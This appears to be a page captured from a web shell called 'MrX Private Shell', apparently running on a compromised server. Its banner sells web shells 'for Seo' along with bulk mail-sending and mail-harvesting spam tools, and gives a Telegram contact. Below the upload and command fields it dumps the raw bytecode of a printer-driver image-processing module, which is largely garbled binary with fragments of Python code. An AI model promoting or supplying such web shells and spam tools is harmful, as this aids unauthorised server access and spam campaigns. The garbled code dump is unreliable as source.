__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

���gS���x�SSKJrJr SSK7 SSKrSSKrSSKrSSKrSSKrSSK	r	SSK
Jr SSK
Jr Sr
SrSrS	rS
rSrSrS
rSrSrSrSrSrSrSrSrSrSrSrSr Sr!S4Sjr"Sr#Sr$Sr%Sr&S r'S!r(S"r)S#r*S$r+S%r,S&r-S'r.S(r/S)r0S*r1S+r2S,r3S-r4S.r5S/r6S0r7S1r8S2r9S3r:g)5�)�utils�os_utils)�*N)�core_install)�dcheck���2�c	�X�SSKnSSKnURSURS4n[UR	U5S-5nURUR
XQS5/SQ/5nURUSS2SS245nUSS-nUSS-n	UR	U*U	/5U-RSUR	X�/5U-RSUR	U*U	*/5U-RSUR	X�*/5U-RS/n
U
Vs/sHo�SPM	 nnUV
s/sHo�S:�dM
U
PM nn
UV
s/sHo�S:dM
U
PM nn
U
Vs/sHo�SPM	 nnUVs/sH
nUS:�dMUPM nnUVs/sH
nUS:dMUPM nn[U5n[U5n[U5n[U5n[[UU-
55n[[UU-
55nURSS[US-U-
5/SS[US-U	-
5//SQ/5nURU5URU5-SS2SS24nURUUUU4URS9nU$s snfs sn
fs sn
fs snfs snfs snf)Nr����?)rrr��?)�flags)�numpy�cv2�shape�tuple�array�vstack�getRotationMatrix2D�matrix�A�max�min�int�abs�
warpAffine�INTER_LINEAR)�image�angle�npr�
image_size�image_center�rot_mat�rot_mat_notranslate�image_w2�image_h2�rotated_coords�pt�x_coords�x�x_pos�x_neg�y_coords�y�y_pos�y_neg�right_bound�
left_bound�	top_bound�	bot_bound�new_w�new_h�	trans_mat�
affine_mat�results                             �(/usr/share/hplip/base/imageprocessing.py�rotate_imager=4s�������+�+�a�.�%�+�+�a�.�1�J�����*�-��1�2�L��i�i�	�	 �	 ��c�	:�I�F��G��)�)�G�A�a�C��1��H�$5�6���!�}�s�"�H��!�}�s�"�H�
���H�9�x�(�	)�,?�	?�B�B�1�E�	���H�(�	)�,?�	?�B�B�1�E�	���H�9�x�i�(�	)�,?�	?�B�B�1�E�	���H�i�(�	)�,?�	?�B�B�1�E�	�N�!/�/��"�1���H�/� �*��1��E�Q��E�*� �*��1��E�Q��E�*� .�/��"�1���H�/� �*��1�A��E�Q��E�*� �*��1�A��E�Q��E�*��e�*�K��U��J��E�
�I��E�
�I���K�*�,�-�.�E���I�	�)�*�+�E��	�	�	
�A�s�5�3�;��)�*�+�	
�A�s�5�3�;��)�*�+����I��)�)�I�&����7�);�;�Q�q�S�!�V�D�J��^�^�
��	������	��F��M��E0��*��*��/��*��*s<�$J�8	J�J�	J�J�*J�>
J"�J"�
J'�&J'c��[[R"U[RS--55S-nUS-S:XaUO[RU-
nU[R-[R-[R-nU[R"U5-U[R
"U5--nU[R
"U5-U[R"U5--nX:a[R"Xf5O[R"Xf5n[RU-
U-
n	X:aUOUn
U
[R"U5-nU[R
"U5-[R
"U	5-nU[R"U5-n
U
[R"U5-nUSU--
USU
--
4$)a!
Given a rectangle of size wxh that has been rotated by 'angle' (in
radians), computes the width and height of the largest possible
axis-aligned rectangle within the rotated rectangle.

Original JS code by 'Andri' and Magnus Hoff from Stack Overflow

Converted to Python by Aaron Snoswell
r
�rr)r�math�floor�pi�cos�sin�atan2�tan)�w�hr!�quadrant�
sign_alpha�alpha�bb_w�bb_h�gamma�delta�length�d�ar0r,s               r<�largest_rotated_rectrS{s\���4�:�:�e�t�w�w��{�3�4�5��9�H�$�q�L�Q�.��T�W�W�u�_�J�
�$�'�'�
!�D�G�G�
+�t�w�w�6�E��t�x�x�����T�X�X�e�_�!4�4�D��t�x�x�����T�X�X�e�_�!4�4�D�'(�u�D�J�J�t�"�4�:�:�d�3I�E��G�G�e�O�e�#�E��5�Q�q�F�����%�� �A�	�D�H�H�U�O��d�h�h�u�o�-�A�	�D�H�H�U�O��A�	�D�H�H�U�O��A�	
�q�1�u���q�1�u����c�h�URSURS4n[USS-5[USS-54nXS:�aUSnX#S:�aUSn[USUS--
5n[USUS--5n[USUS--
5n[USUS--5nXU2XV24$)zb
Given a NumPy / OpenCV 2 image, crops it to the given width and height,
around it's centre point
rrr)rr)	r �width�heightr#r$�x1�x2�y1�y2s	         r<�crop_around_centerr\�s����+�+�a�.�%�+�+�a�.�1�J��
�1�
��+�,�c�*�Q�-�#�2E�.F�G�L��!�}���1�
��
�1�
���A���	�\�!�_�u�s�{�
*�	+�B�	�\�!�_�u�s�{�
*�	+�B�	�\�!�_�v��|�
+�	,�B�	�\�!�_�v��|�
+�	,�B��B������rTc	�l�SSKnSSKnSSKJn SSKnURU5nURSSupgURXRR5nURUSSSS9n	URU	SURS-SSS	S
9n
/n/nU
SHdup�nnUR"UR"UU-
X�-
55nURU5 [U5nUS:wdMSURU5 Mf U(dSnU$[!U5nUHnU[U5:XdMUnM US:�dUS::aSnU$)
Nr��Imager
�dr?)�apertureSizerg�f@�)�
minLineLength�
maxLineGap���)rr�PILr_r@rr�cvtColor�COLOR_BGR2GRAY�Canny�HoughLinesPrB�degreesrE�appendrr)�imgr"rr_r@r �image_height�image_width�gray�edges�lines�angles�temp_anglesrXrZrYr[r!�median_angle�items                    r<�
Deskew_angle1rx�s2������
�(�(�3�-�E� %���A�a� 0��L��<�<��1�1�2�D��I�I�d�C��1�I�5�E��O�O�E�1�d�g�g��o�s�#�Z[�O�\�E�
�F��K���(����B����T�Z�Z��R����9�:�����5�!��E�
���A�:��M�M�%� �#�������6�{�����3�t�9�$��L��	���l�c�1����rTc�
^^�SSKnSSKnSSKmSSKJn SSKJm URupETRURS5R5TR5nSURXT45S--
nUU4SjnSn	Sn
TRU
*X�-U	5n/nUHn
U"X}5up�URU5 M  U(dSnU$[U5nX�R!U5nUS:aUnOUnUS	:�dUS
::aSnU$)Nrr^��
interpolation�1r��o@c�>�TRXSSS9nTRUSS9nTRUSSUSS-
S-5nX44$)NFr)�reshape�orderr��axis���r
)�rotate�sum)�arrr!�data�hist�score�interr"s     ��r<�
find_score�!Deskew_angle2.<locals>.find_score�sU����|�|�C��Q�|�?���v�v�d��v�#������Q�R��4���9�,��2�3���{�rTrbrerf)�sysr@rrgr_�
scipy.ndimager{�sizer�convert�getdata�uint8r�arangermr�index)rnr�r@�im�wd�ht�pix�bin_imgr�rO�limitrt�scoresr!r�r��
best_angle�
best_scorer�r"s                  @@r<�
Deskew_angle2r��s�������4��X�X�F�B�
�(�(�3�;�;�s�#�+�+�-�r�x�x�
8�C��3�;�;��x�(�5�0�1�G�
�
�E�
�E�
�Y�Y��v�u�{�E�
2�F�
�F��� ��0����
�
�e�����
�����[�
����Z�0�1�J��A�~��
��
��b��J�#�-��
��rTc
��SSKnSSKnSSKJn SSKn[U5n[
U5nUS::aUS::a
[XV/5nO[XV/5nUS:waUS:wdU$US:�dUS::aU$URU5nURSSup�URU5n[X�5n[U/[U
U	UR"U55Q76n
UR!U
5$)Nrr^�Zi����rerfr
)rrrgr_r@rxr�rrrr�copyr=r\rS�radians�	fromarray)r�r"rr_r@�angle1�angle2r!r rorp�
image_orig�
image_rotated�image_rotated_croppeds              r<�deskewr�s�������
�2�
�F�
�2�
�F�
��{�v��{��V�O�$���V�O�$���R�K�E�S�L��	�
���u��|��	��H�H�R�L�E� %���A�a� 0��L������J� ��.�M�.��
�
!������U�#��
���?�?�0�1�1rTc��SSKJn URU5RnU(a
USS:agUSS:aUSS:aUSS:aUS:Xagg)Nr)�	ImageStati,Trr
F)rgr��Stat�var)r��lineart_moder��vs    r<�	blankpager�(sY���$����r����A��!�A�$��*���Q�4�#�:�a��d�S�j��1����<�RW�CW��rTc�z�SSKnSSKnURSSupEUS-US-pvURXg4U*S5nUR	US5n	UR	US5n
[XJ-XY--5n[XI-XZ--5nUS==US-U-
-
ss'US==US-U-
-
ss'UR
XX�45$)Nrr
r)rr)rr)rr
)rr
)rrrrrrr)
r r!rr"rHrG�cX�cY�MrCrD�nW�nHs
             r<�rotate_boundr�5s������[�[��!�_�F�Q��A��q�1�u��
	�����5�&�#�6�A�
�&�&��4��/�C�
�&�&��4��/�C�

�a�g�!�'�
"�	#�B�	�a�g�!�'�
"�	#�B��d�G��Q��"�}��G��d�G��Q��"�}��G��>�>�%�R�H�-�-rTc���[[55S:�a)SSKnURURS5 SSKJnJn OSSKJnJn U"URS9nURU5 UR5 UR5nUR5upgp�UsSSS5 $![a% URS5nURU5 Nlf=f!,(df   g=f)N�r�C)�
PyTessBaseAPI�PSM)�psm�RGB)r�get_tesseract_version�locale�	setlocale�LC_ALL�	tesserocrr�r��AUTO_OSD�SetImage�IOErrorr��	Recognize�
AnalyseLayout�Orientation)
r�r�r�r��api�it�orientation�	directionr��deskew_angles
          r<�orientangler�Os���
� �"�#�q�(���������,�0�0�0�	�3�<�<�	(�C�	��L�L���	�
�
��
�
�
�
 ��68�n�n�6F�3����
)�	(���	����E�"�B��L�L���	��
)�	(�s0�C�B*�,4C�*,C�C�C�C�
C*c��SSKJn SSKnSSSSS.n[UR	U5XA5nURU5$)Nrr^i�r�)rrr
r?)rgr_rr�rr�)r�r!r_r"�orient_dict�rotateds      r<�
autoorientr�cs<�����3�#��,�K�����"��k�&8�9�G��O�O�G�$�$rTc�T�URupURSSUS-
US-
45$)N�)r��crop)rnrGrHs   r<�initialcropr�ms-���8�8�D�A��8�8�R��Q�r�T�1�R�4�(�)�)rTc���[U5HQupUR5 [[US[55[US[5-nU[::dMOUs $ W$�N)�	enumerate�sort�floatr��obviousness�len�	threshold)�vals�i�tmp�averages    r<�	find_liner�qsV���4�������
���C���-�.�/��C���4E�0F�F���i���H�	!�

�HrTc	�h�SSKnURup#SSX#/n[UR55n/nUHnUR	[U55 M [R"5nURS5n	U	SS:�a6UR[U5V
s/sHo�X�-U
S-U-PM sn
5nO5UR[U5V
s/sHo�X�-U
S-U-PM sn
5nUR5n[U5US'URU5nU[U5-
US'URUSS5n
[U
5US'URUSS5nURU5nU[U5-
US'USUS:�dUSUS:�ag[!U5$s sn
fs sn
f)Nr�.�3rr?r
)rr��listr�rmr�platform�python_version�splitr�range�xranger�r��flipud�swapaxesr)rnr"rVrW�retval�pixelsr��pixel�
pyPlatform�numr��forupper�forlower�forleft�forrights               r<�getboxr�zs�����H�H�M�E���%�
�F�
�#�+�+�-�
 �F�
�D������C��J����(�(�*�J�
�
�
�3�
�C�
�1�v��}��x�x�%��-�P�-�Q�a�i��Q��%��8�-�P�Q���x�x�&��.�Q�.�Q�a�i��Q��%��8�.�Q�R���y�y�{�H��(�#�F�1�I��y�y��"�H���8�,�,�F�1�I��k�k�(�1�Q�'�G��'�"�F�1�I��{�{�8�A�a�(�H��y�y��"�H��	�(�+�+�F�1�I�
�a�y�F�1�I�����f�Q�i�!7����=���5Q��Qs�F*�F/c��SSKJn SSKnSSKnUR	URU5S5n[
U5nURUS:�5nURSS9upxURSS9up�URU5Xy2X�24n[URU55n[U5n
URU
5nU$)Nrr^�r?r?r�)rgr_rr�blurr�
auto_canny�argwhererrr�r�r�r�)r�r_r"r�blurred�canny�ptsrZrXr[rY�croppedrn�boxr;s               r<�autocropr�s�������h�h�r�x�x��|�U�+�G��w��E�
�+�+�e�A�g�
�C��G�G��G�O�E�B��G�G��G�O�E�B��h�h�r�l�2�5�"�%�<�(�G�
�e�o�o�g�.�
/�C�
��+�C�
�X�X�c�]�F��MrTc�F�SSKJn SSKnSSKnUR	URU5S5nUR
USS5nURUS:�5nURSS9upxURSS9up�URU5SU	2X�24nURU5$)Nrr^r��
rr�)rgr_rrr�rrjr�rrr�)r�r_r"rrrrrZrXr[rYrs            r<�	mixedfeedr�s�������h�h�r�x�x��|�U�+�G��I�I�g�r�3�'�E�
�+�+�e�A�g�
�C��G�G��G�O�E�B��G�G��G�O�E�B��h�h�r�l�1�R�4���;�'�G��?�?�7�#�#rTc��SSKJnJn U"5nUHnURU"U5S5 M UR
U5 UHn[R"U5 M U$! SSKJn SSKJn U"5nNl=f)Nr)�
PdfFileMerger�
PdfFileReader��	PdfMerger)�	PdfReader�hpscan)	�PyPDF2r
rr
rrm�write�os�remove)�adf_page_files�
outputfiler
r�merger�ps      r<�generatePdfFiler�sw��!�7������	�	�
�
�m�A�&��1���
�L�L���
��
�	�	�!������+!�5�5����s�A&�&A=c	�d�SSKJn SSKJn	 UR	XS-US-45n
SnUH�nU	RU5n
U(aRX+S:XdX+S:XaBU
R
XF-
S-X5-
S-45 U
RX�S-US-XF-
S-X5-
S-5 OBU
R
X5-
S-XF-
S-45 U
RX�S-US-X5-
S-XF-
S-5 U
R!5 ["R$"U5 US-
nM� U
R'5 U$![a [R"S5 Nc[a@n[RU5 [(a[R"S5 SnAN�SnAf[a n[R"S5 SnAN�SnAff=f)Nr)�canvasr^g�ׁsF��?rr?)�reportlab.pdfgenrrgr_�Canvas�open�setPageSize�drawInlineImage�	NameErrorr��exit�AssertionError�log�error�PY3�	Exception�showPager�unlink�save)rr�orient_list�brx�bry�tlx�tly�output_pathrr_�cr�rr��es               r<�generatePdfFile_canvasr2�s���'���&	�
�
�j�v�:�s�6�z�":�;�A��A�
���J�J�q�M�r���{�~��2�k�n��6I��}�}�s�w��.���&�0@�A�B�� � ��&�j�C��J�3�7�F�BR�WZ�W^�`f�Vf�h��}�}�s�w��.���&�0@�A�B�� � ��&�j�C��J�3�7�F�BR�VY�V]�_e�Ue�g�	�z�z�|�	�y�y��|��!�t�q�7�<�F�F�H����-���8�8�A�;����9�9�Q�<��c��x�x��{������8�8�A�;�;���s2�AD�AD� F/�>	F/�6F�
F/�F*�*F/c�(^^�SSKmSSKJn SSKJn US:XaU"5n/nSnU[
U5:Ga_XXS-/nUVs/sHo�RU5PM n	n[U	V
s/sH*n
TRU
R5U
R4PM, sn
5SSmTRUU4SjU	55nURU5nUHn[R"U5 M US:Xa[Sn
URS	5nUR!U
5 WR#[U
S
55 SU
-n[$R&"U5 O([$R("SX5n
UR!U
5 US
-nU[
U5:aGM_US:Xa@[$R("SX5n[US5nWR+U5 SSS5 U$g! SSKJn US:XaU"5nGN�=fs snfs sn
f!,(df   U$=f)Nrr^)r
�.pdfrrc3�d># �UH%nTRURT55v� M' g7fr�)�asarray�resize)�.0rG�	min_shaper"s  ��r<�	<genexpr>� documentmerge.<locals>.<genexpr>Ls&����Q�4�a��
�
�A�H�H�Y�,?� A� A�4�s�-0ztemp.pdfr��rbzrm -f �	hpscandocr
�wb)rrgr_rr
r
r�r�sortedr�r��hstackr�rrr�r)rmr�run�createSequencedFilenamer)r�extr/r_r
r�list_imr�r0�imgs�z�	imgs_combr�temp�cmd�output�foutr9r"s                 @@r<�
documentmergerL$s������%�(��&�=�"�_�F��G�	�A�"�&�c�.�!�
!�!�$�n�q�S�&9�:��*1�3�'�Q�:�:�a�=�'��3���E��1�b�f�f�Q�V�V�n�a�f�f�6��E�F�q�I�!�L�	��I�I�Q�4�Q�S�	��O�O�Y�/�	��A��I�I�a�L��	��&�=��D�!�)�)�%�0�I��N�N�D�"��M�M�$�t�D�/�*��T�/�C��I�I�c�N��0�0��c�O�D��N�N�D�"�
��E��?�c�.�!�
!�@�f�}��.�.�{�C�M��
�&�$�
�4��L�L��� �	!��
���I%�5��&�=�"�_�F��64��E�< �
�	!��
�s#�G�G7�*1G<�>H�G4�
Hc���SSKnSSKnURU5n[[	SSU-
U-55n[[SSU-U-55nUR
XU5nU$)Nrr�)rr�medianrrrrj)r �sigmar"rr��lower�upper�edgeds        r<r�r�qsc����
�	�	�%��A�
��A��e��q�(�)�*�E���C�#��+��)�*�+�E��I�I�e�E�*�E��LrTc��SSKJn SSKnURU5R	5nSX3S:'SX3S:�'URU5$)Nrr^r�rNr�)rgr_rr6r�r�)r�r_r"�bws    r<�crushedrV�sC����	���B��	�	�	�B��B�B�w�K��B�S�y�M��?�?�2��rTc�0�SSKnSSKnSSKJn UR	U5nURXAR5nSnSnXe-U-nURUSS5RUR5nURUSSSS5nURU5$)	Nrr^g@g�rN���)rrrgr_rrhri�clip�astyper��fastNlMeansDenoisingr�)	r�rr"r_r rqrK�beta�denoiseds	         r<�bg_color_removalr`�s�������H�H�R�L�E��<�<��1�1�2�D��E��D��|�d�"�H��w�w�x��C�(�/�/����9�H��'�'��$��A�r�B�H��?�?�8�$�$rTc�V�SSKJn URU5nURU5nU$�Nr)�ImageEnhance)rgrc�	Sharpness�enhance�r��factorrc�enhancer_object�outs     r<�adjust_sharpnessrj�s*�� �"�,�,�R�0�O�
�
!�
!�&�
)�C��JrTc�V�SSKJn URU5nURU5nU$rb)rgrc�Contrastrerfs     r<�adjust_contrastrm�s*�� �"�+�+�B�/�O�
�
!�
!�&�
)�C��JrTc�V�SSKJn URU5nURU5nU$rb)rgrc�
Brightnessrerfs     r<�adjust_brightnessrp�s*�� �"�-�-�b�1�O�
�
!�
!�&�
)�C��JrTc�V�SSKJn URU5nURU5nU$rb)rgrc�Colorrerfs     r<�adjust_colorrs�s*�� �"�(�(��,�O�
�
!�
!�&�
)�C��JrTc�F�URS5S:Xa[S5 gSn/SQnUHAn[R"U5nU(dM"[R
R
XT5n O US:XGas[R
RU5n[R"SSU5n[RSS	:XaG[R"S
X/[R[RS9nUR5up�OF[R"SU/[R[RS9nUR5up�[R
R!U5(a:["R%S
5 US-U-S-S-n[R&"U5 O#["R%S5 US-U-S-S-n[(R*"U5 g["R%S5 US-U-S-S-n[(R*"U5 g)Nr4Fz-PDF viewer is trying open other than PDF file�)�kpdf�acroread�xpdf�evincezxdg-openT�hpscan_ocr_rr?�ocrmypdf)�stdout�stderr�pypdfocrzOCR successfulz  � �&z/OCR failed to generate, returning original filez+OCR was not called, returning original file)�endswith�printr�whichr�path�join�dirnamerBr��version_info�
subprocess�Popen�PIPE�STDOUT�communicate�isfiler#�debugr(r�execute)rJ�ocr�
pdf_viewer�pdf_viewer_listr��vv�output_ocr_dir�
output_ocrrir|r}rIs            r<�merge_PDF_viewerr��s��������5�(�
�=�>���J�H�O�
��
�[�[��^��
�2������b�,�J��	�
�d�{�������0���2�2�=�&��X�
����A��!�#��"�"�J�v�#A����`j�`q�`q�r�C��?�?�,�M�F�6��"�"�J�v�#6�j�o�o�U_�Uf�Uf�g�C��?�?�,�M�F�
�7�7�>�>�*�%�%��I�I�&�'��t�#�j�0�3�6��<�C��I�I�f���I�I�G�H��t�#�f�,�s�2�S�8�C�������	�	�?�@��4��&�(�3�.��4������rTc�v�SnSSKnU$![an[U5nSnAU$SnAf [S5nU$=f�Nr�Error occurred)rg�ImportError�str)�scanjet_flagrgr$s   r<�	check_pilr���K���L�+������ ���Z�����+��)�*������
�
8�%�8c�v�SnSSKnU$![an[U5nSnAU$SnAf [S5nU$=fr�)rr�r�)r�r"r$s   r<�check_numpyr��sK���L�+������ ���Z�����+��)�*����r�c�v�SnSSKnU$![an[U5nSnAU$SnAf [S5nU$=fr�)rr�r�)r�rr$s   r<�check_opencvr��r�r�c�V�SnSSKnU$! SSKnU$! [S5nU$=f=fr�)r~r{r�)r�r~r{s   r<�check_pypdfocrr�sE���L�/�����/�	/�����	/��-�.�L���s�
�(��
%�(�(c�v�SnSSKnU$![an[U5nSnAU$SnAf [S5nU$=fr�)�skimager�r�)r�r�r$s   r<�
check_skimager�sK���L�+������ ���Z�����+��)�*����r�c�.�Sn[[55S:�a&SSKnURURS5 SSKnU$SSKnU$![an[U5nSnAU$SnAf[an[U5nSnAU$SnAf [S5nU$=f)Nr�rr�r�)	rr�r�r�r�r�r�r��AttributeError)r�r�r�r$s    r<�check_tesserocr_imutilsr�s����L�
+��$�&�'�1�,�����V�]�]�C�0����
����� ���Z�����	� ���Z�����+��)�*����s)�;A�A�
B�A#�#
B�0B�Bc�v�SnSSKnU$![an[U5nSnAU$SnAf [S5nU$=fr�)rr�r�)r�rr$s   r<�check_pypdf2r�/sK���L�+������ ���Z�����+��)�*����r�c���Sn[R"5nURS5nUSS:aSSKnU$g![an[U5nSnAU$SnAf [S5nU$=f)Nr�rr�r��zbar)r�r�r�r�r�r�)r�r�r�r�r$s     r<�
check_zbarr�:sw���L��(�(�*�J�
�
�
�3�
�C�
�1�v��|�	/�������	$��U��L����	/��-�.�L���s�:�
A(�A�A(c�
�SSKnSSKJn /n0nURup�n
[n[U[-
5n[U	[-
5n
[nSUs=:aU:GaO GOSUs=:aU:GaO GOUS-
nUS-nX-nUSU--nUUU2UU24nURunnn[
SUS-
5H=n[
SUS-
5H'nUUU4nURUSUSUS45 M) M? US-
nUS-nX-
nUSU--
nUUU2UU24nURunnn[
SUS-
5H=n[
SUS-
5H'nUUU4nURUSUSUS45 M) M? SUs=:aU:GaO GOX�s=:aU	:GaO GOUS-
nUS-nX-nUSU--nUUU2UU24nURunnn[
SUS-
5H=n[
SUS-
5H'nUUU4nURUSUSUS45 M) M? US-
nUS-nX-
nUSU--
nUUU2UU24nURunnn[
SUS-
5H=n[
SUS-
5H'nUUU4nURUSUSUS45 M) M? X�s=:aU:GaO GOSUs=:aU	:GaO GOUSU--
nX-
nUS-
nUS-nUUU2UU24nURunnn[
SUS-
5H=n[
SUS-
5H'nUUU4nURUSUSUS45 M) M? USU--nX-nUS-
nUS-nUUU2UU24nURunnn[
SUS-
5H=n[
SUS-
5H'nUUU4nURUSUSUS45 M) M? SUs=:aU:GaO GOSUs=:aU	:GaO GOUSU--
nX-
nUS-
nUS-nUUU2UU24nURunnn[
SUS-
5H=n[
SUS-
5H'nUUU4nURUSUSUS45 M) M? USU--nX-nUS-
nUS-nUUU2UU24nURunnn[
SUS-
5H=n[
SUS-
5H'nUUU4nURUSUSUS45 M) M? [U5nUHnUXvRU5'M UR5n[U5n[U5nUUSn[U5$)Nr��ior��rr
r�)
rr�r�r�punchhole_marginrr�rm�set�count�keysr�r?) �xcord�ycord�radiusrnr"r��lrQrVrW�channelsrXrYrZr[�s1�s2�s3�s4�myimgrGrHr0r��j�rgblist�mrF�d_keys�z_list�sortlist�ts                                 r<�
dominantcolorr�Js+����
�A�
�A�"�i�i��E�8�
�B���(�(�
)�B���)�)�
*�B�
�B�	�E��E����E��B����Q�h���Q�h������q��x� ���B�r�E�2�b�5�L�!���K�K�	��A���q�!�A�#��A��1�a��c�]����!��*�����'�!�*�W�Q�Z���
�;�<�#���Q�h���Q�h������q��x� ���B�r�E�2�b�5�L�!���K�K�	��A���q�!�A�#��A��1�a��c�]����!��*�����'�!�*�W�Q�Z���
�;�<�#��
	
�E��E���� 3�V� 3� 3��Q�h���Q�h������q��x� ���B�r�E�2�b�5�L�!���K�K�	��A���q�!�A�#��A��1�a��c�]����!��*�����'�!�*�W�Q�Z���
�;�<�#���Q�h���Q�h������q��x� ���B�r�E�2�b�5�L�!���K�K�	��A���q�!�A�#��A��1�a��c�]����!��*�����'�!�*�W�Q�Z���
�;�<�#��	��U����U�!3�V�!3�!3��q��x� ������a�i���a�i���B�r�E�2�b�5�L�!���K�K�	��A���q�!�A�#��A��1�a��c�]����!��*�����'�!�*�W�Q�Z���
�;�<�#���q��x� ������a�i���a�i���B�r�E�2�b�5�L�!���K�K�	��A���q�!�A�#��A��1�a��c�]����!��*�����'�!�*�W�Q�Z���
�;�<�#��
	
�E��B���Q��/��/�/��q��x� ������a�i���a�i���B�r�E�2�b�5�L�!���K�K�	��A���q�!�A�#��A��1�a��c�]����!��*�����'�!�*�W�Q�Z���
�;�<�#���q��x� ������a�i���a�i���B�r�E�2�b�5�L�!���K�K�	��A���q�!�A�#��A��1�a��c�]����!��*�����'�!�*�W�Q�Z���
�;�<�#��	�A��A�
����'�'�!�*�
��
�V�V�X�F�
�&�\�F��f�~�H�	
�8�B�<��A���7�NrTc��Un[U5n[U5nU/n[SU5HVn[S5Vs/sH,n[XH[U5US-
-XXXH-
--5PM. n	nUR	U	5 MX U$s snf)Nrr?)rr�rr�rm)
�dominant_color�white_color�
pixelcount�n�s�f�RGB_listr�r��curr_vectors
          r<�lineargradientr��s����A�
�n��A�
�k��A��s�H�
�1�a�[��IN�q��R��A�s�1�4�5��8�Q�q�S�>�A�D���I�">�>�?���R�����$�	��O��	Ss�3Bc��SSKnSSKJn SSKJn SSKJnJn SSKJ	nJ
n SSKJn SSK
Jn	 Sn
SSKJn Sn
UR'U5nUR(S
S:Xa	U"U5nOU"U"U55nU"U5nUR(unn[*n[-U[*-
5n[-U[*-
5n[*n[/U5nUR1SSS5nU"UU5nU"UUU
S9unnnn[3UUU5GHunnn SUs=:aU:aO OSUs=:aU:dfO SUs=:aU:aO OUUs=:aU:dGO SUs=:aU:aO OSUs=:aU:d(O UUs=:aU:dMtO MxSUs=:aU:dM�O M�U
S:XaW	"UUU S-UR(5un!n"O U
S
:XaW"UU4U S-UR(S9un!n"[5UUU U5n#[3[7W!5[7W"55Hun$n%U#SU#SU#SS4UU$U%4'M GM UR9U5n&U&$![a SS	K
Jn S
n
GNf=f)Nrr^r�)�rgba2rgb�rgb2gray)�hough_circle�hough_circle_peaks)r)�circler�)�diskr�)�img_as_ubyte�r�r?rX�"r)�total_num_peaks)rr
rN)rrgr_r�r��
skimage.colorr�r��skimage.transformr�r��skimage.featurer�skimage.drawr�r�r��skimage.utilr�rrr�rr�r��zipr�r�r�)'r�r"r_r�r�r�r�r�rr��
draw_importedr�r��	max_peaksrn�img_grayr rVrWrXrYrZr[rr�hough_radii�	hough_res�accums�cx�cy�radii�center_y�center_xr��rr�cc�dominantpixr�r��
finalimages'                                       r<�punchhole_removalr��s5�����0�B�%��'� �
�*�-��I�
�(�(�2�,�C��	�	�"�
����C�=���H�S�M�*����"�E��K�K�M�E�6�
�B���(�(�
)�B���)�)�
*�B�
�B��u��E��)�)�B��A�&�K��U�K�0�I�/�y�+�V_�`��F�B��E�&)�"�b�%�&8�"��(�F���
!�E�
!��H�(9�r�(9�
��
!�E�
!��X�(>��(>�
��
�B�
�Q��%:�F�%:�
�(�
"�U�
"�
"��X�)>��)>�)>���(��x��6�!�8�S�Y�Y�G���B��&�(��h��1�6�!�8�3�9�9�M���B�'��(�F�3�G�K��T�"�X�t�B�x�0���A�&�q�>�;�q�>�;�q�>�3�O��A�a�C��1�'9� ���s�#�J����Y��%��
��s�H+�+I�Ic	��SSKJn SSKnSSKnSSKnSSKnUR
USS9nURX�R5n	[[USUSUS55n
/nUR[U
SS-
S5[U
SU-
S5[U
SU-
S5/[U
SS-S5[U
SU-S	5[U
SU-S	5/45 UH�up�UR
USS9nUR
U
SS9n
URX�U
5nURunn[!SUS-
5H-n[!SUS-
5HnUUU4S	:XdMS
UUU4'M M/ M� UR#U5nU$)Nrr^r�)�dtyperr
r�rN)rNrNrNrN)rgr_rrr@r�rrh�
COLOR_RGB2HSVr��rgb2hsvrmrr�inRangerr�r�)r��color�color_ranger_r"rr@r��npimg�hsv_img�	hsv_color�
boundariesrQrR�maskrWrVrHrGr�s                    r<�
color_dropoutrs��������
�H�H�R�g�H�&�E��l�l�5�"3�"3�4�G��W�U�1�X�u�Q�x��q��:�;�I��J�����I�a�L�2�-�q�1�3�y��|�k�7Q�ST�3U�WZ�[d�ef�[g�ju�[u�wx�Wy�z��I�a�L�2�-�s�3�S��1���9S�UX�5Y�[^�_h�ij�_k�ny�_y�{~�[�A�B�C�%������%�g��.�����%�g��.���{�{�7�5�1���
�
�
�����&��(�#�A��A�e�A�g�&����1��I��$�"3�E�!�A�#�J�'�$�
%�����'�J��rTc��[RSU-5 SSKJn URup4UnUnXA-
nX1-
nURXVX�45n	UR
X�SS9nU$)Nz"edge_erase called with value=%d pxr)�ImageOps�white)�border�fill)r#r�rgrr�r��expand)
r��edge_erase_valuerrVrW�left�top�right�bottom�im1s
          r<�
edge_eraser%sm���I�I�2�4D�D�E���7�7�M�E��D�
�C��#�E�
�
#�F�
�'�'�4�f�,�
-�C�
����'��	B�B�
�IrTc�b�US-US-US-p!n[XU5n[XU5nX4-
nX4:XaSnOAX0:XaSX-
U--S-S-nO+X1:XaSX -
U--S-S-nOX2:XaSX-
U--S-S-nUS:XaSnOXS-nUn[US-5n[US-5n[WS-5nXgU4$)	Nr}r�<ih�x��rNr
)rrr)	�r�g�b�mx�mn�dfrHr�r�s	         r<r�r�9s�����g�q��w��%��!�A�	�Q�1��B�	�Q�1��B�	��B�	�x�
��	��
�A�C��8�_�s�
"�c�)��	��
�A�C��8�_�s�
"�c�)��	��
�A�C��8�_�s�
"�c�)��	�Q�w�
���E��
�A��A��G��A��A��G��A��A�a�C��A���7�NrTc�z�SnSSKJn U$![an[U5nSnAU$SnAf [S5nU$=f)Nrrzr�)r�r{r�r�)r�r�r$s   r<�check_scipyrSsK���L�+�8�
���	� ���Z�����+��)�*����s��
:�'�:c�P�[RS:�aURS5$U$)N)r?rzUTF-8)r�r��decode)r�s r<�_read_stringr^s$��
���6�!��x�x�� � ��rTc��[R"SS/[R[RS9nUR5up[	U5R5nUS:Xa[	U5R5n[R"SU[R5nU(aURS5nUS$g![a
nSnAgSnAff=f)N�	tesseractz-v)r}r|ruz^tesseract ((?:\d+\.)+\d+).*rr)r�r�r�r�r�strip�re�searchr��group�OSError)r�stdout_version�version�
